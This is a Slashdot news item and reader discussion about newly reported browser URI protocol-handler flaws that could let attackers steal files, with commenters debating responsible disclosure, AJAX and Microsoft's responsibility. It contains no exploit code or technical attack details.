New URI Browser Flaws Worse Than First Thought

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

Re:Web 2.0 developers have betrayed us all

[Phroggy]

And this is the end result of their hubris.

AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at.

I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.

FTA:

[tygerstripes]

By using these custom URI protocol names, software developers are trying to make lives easier for their customers.

The article also states that this is a "hacker's dream and a programmer's nightmare".

When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."

Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.

Re:Oh my

[Anonymous Coward]

it's the whole concept of custom URI handlers that is a security nightmare

Why?

The implementation may be flawed, but I see nothing about the concept itself that opens itself up to attack.
Sure, you could have a fuckmenow: protocol that launches a keylogger and starts sending data somewhere - but the keylogger would have to be installed, and would have to have registered the custom URI. If it can do that, it can fuck you in so many more ways that don't need the browser.

Re:Web 2.0 developers have betrayed us all

[Anonymous Coward]

AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used. It's not clever anymore, now it's just stupid.

Slashdot's new AJAX-based comment system is definitely an improvement, for example.

That doesn't add much to your argument. I liked the old interface better. Maybe next we can argue about whether blue or orange is the better color.

Re:Oh my

[hanshotfirst]

There is not a SINGLE technical detail about the bug in the article.

That's on purpose - they don't want their article to give hackers any real direction on how to exploit it. From TFA..."Rios and McFetters plan to release the results of their research after the vendor has had a chance to fix the problem".

Yes, this is news for nerds - I know I'll be avoiding the URI protocol cautiously, if at all. I am duly informed. (Of course a real nerd would have known this already, so I have to turn in my card, I guess.)

Nothing to gripe about here - move along.

It's called a URI

[brunes69]

It's part of the protocol. Any link on any web page should be able to specify ANY protocol.

Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?

The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.

Non story.

Re:Oh my

[CaymanIslandCarpedie]

Patience grasshopper, details will be released soon enough. Their method of reporting seems to be becoming kind of an accepted best practice for "responsible reporting" of bugs. I fully support ones right to just release day 0 exploit sample code if they so choose, though I don't think it's the best idea. It seems notifying the makers of effected software at roughly same time as releasing very high level information about the exploit is becoming the best way to both avoid in the wild attacks as well as ensure the issue is addressed.

In this case, additional researchers have even verified the issue after the initial report. If you still don't believe there is an issue (fair enough it's good to be skeptical), you can always do a tad of research into these researches history to help decide if you think they are trustworthy or not. If still that isn't enough, well then I guess you'll have to just find these issues yourself and you can publish anything you want about them. Until then the researchers who find an issue should have the right to handle it any way they choose. They don't answer to you.

It's like yelling "fire" in a crowded room.

Seems more like they are more warning that there is a pile of debris in the room which could be a fire hazard. You suggestion would be more like noticing that fire hazard and deciding to dump gas on it and then toss on a match.

Re:Care to provide details?

[Anonymous Coward]

For those living under a rock: Many applications, including Firefox, install URI handlers by default. Many applications, including Firefox, have no or insufficient safeguards against dangerous URIs which are passed to them that way. Many applications, which render arbitrary remote data, can activate URI handlers with arbitrary URIs, often with no or trivial user interaction. If you think that is fine, you shouldn't dispense security advice.

Re:Oh my

[martin-boundary]

Why should the onus be on others to check their work for them? Can't they check their own work before making an announcement?

It's very nice of them if they want to give the vendors time to fix their software, but they should announce their results _after_ the patch is ready in that case. Announcing early and claiming "responsible reporting" while not explaining enough for users to protect themselves is a publicity stunt.

Here's a few things that I think are wrong with the "responsible reporting" idea: it publically slanders software products without proof. It causes people to worry about undisclosed threats which may or may not affect them. It turns security research into a hype game where advisories must be taken on faith rather than fact.

These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

/2 cents.

Re:Oh my

[MikeBabcock]

You don't need to provide a working example to explain the details. They could be saying something like:

if you've installed vulnerable 3rd party url handlers, clicking malformed urls could lead to exploits

in which case I don't care at all.

I'm sure there are people who install 3rd party URL handlers as willy nilly as they install free screensavers and weather applets, but I don't, and neither should they, so again, I don't care.

If on the other hand they're saying there's a URI parsing error in major browsers that is itself exploitable, that's different. Details are important. You could yell "fire" in a crowded theatre because you saw someone light a lighter, and you wouldn't be lying, but you left out a few good details.

It's the Usual M$ Sabotage and FUD.

[twitter]

Important details have been obscured on purpose to FUD Mozilla. I'm surprised they bothered to point out it's Windoze only in the first paragraph, but here's the glaring part of the FUD:

Microsoft is working to educate users and developers about these security issues, but there's only so much that it can do, said Mark Griesi, a security program manager with Microsoft. "Security is an industry responsibility and this is certainly a case of that [principle]," he said. "It's not Microsoft's position to be the gatekeeper of all third-party applications."

Yet, we know that this problem was created by IE7 [slashdot.org] and does not show up on Mac or gnu/linux. Par for the course, create a problem and then blame the victim. Where have we seen this kind of M$ attack before? All over, and court proved in the anti-trust case and also in the DRDOS case [slashdot.org].